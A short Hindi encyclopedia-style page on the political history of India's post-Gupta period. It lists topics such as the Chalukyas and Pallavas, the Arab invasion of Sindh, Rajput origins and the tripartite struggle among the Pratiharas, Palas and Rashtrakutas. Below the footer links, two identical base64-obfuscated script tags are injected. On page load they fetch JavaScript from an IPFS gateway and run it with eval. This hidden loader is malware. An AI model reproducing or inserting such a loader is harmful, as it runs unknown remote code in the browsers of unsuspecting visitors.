गुप्तोत्तर काल
गुप्तोत्तर काल में भारत की राजनीतिक स्थिति के निम्नलिखित पहलू विशेष रूप उल्लेखनीय है।
- दक्षिण भारत के इतिहास के अन्तर्गत चालुक्य एवं पल्लवों के इतिहास का अध्ययन 550 ई. के मध्य।
- अरबों का सिन्ध पर आक्रमण एवं उसके भारतीय इतिहास पर पड़ने वाले प्रभाव का अध्ययन।
- राजपूतों की उत्पत्ति के अन्तर्गत हर्ष के बाद की सभी शक्तियों का अध्ययन।
- 'त्रिपक्षीय संघर्ष' में प्रतिहार, पाल एवं राष्ट्रकूट की भूमिका अध्ययन।
- 9वीं शताब्दी के उपरान्त उत्तरी एवं दक्षिणी भारत के कुछ क्षेत्रीय राज्यों का अध्ययन ।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>